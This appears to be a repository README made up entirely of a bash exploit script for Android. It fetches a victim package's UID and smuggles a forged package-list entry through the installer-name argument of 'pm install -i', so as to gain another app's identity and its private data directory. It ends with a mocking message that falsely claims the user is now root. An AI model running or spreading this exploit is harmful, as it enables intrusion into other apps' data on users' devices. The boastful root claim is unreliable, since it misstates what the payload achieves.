README.md
Rendering markdown...
#!/bin/bash
# Function to get the package UID
get_package_uid() {
package_name=$1
pm list packages -U | grep "package:$package_name" | sed -n "s/^package:$package_name uid://p"
}
# Function to inject the payload
inject_payload() {
target_package=$1
payload=$2
# Use pm install to inject the payload
pm install -i "$payload" any-app.apk
}
# Example package to exploit
victim_package="com.example.victim"
# Get the UID of the victim package
UID=$(get_package_uid $victim_package)
# Check if UID retrieval was successful
if [ -z "$UID" ]; then
echo "Failed to retrieve UID for package $victim_package"
exit 1
fi
# Construct the payload
PAYLOAD="@null
victim $UID 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
# Inject the payload
inject_payload $victim_package "$PAYLOAD"
echo "Payload injected successfully. YOu're notw root.. My my my you are 1337 aren't you"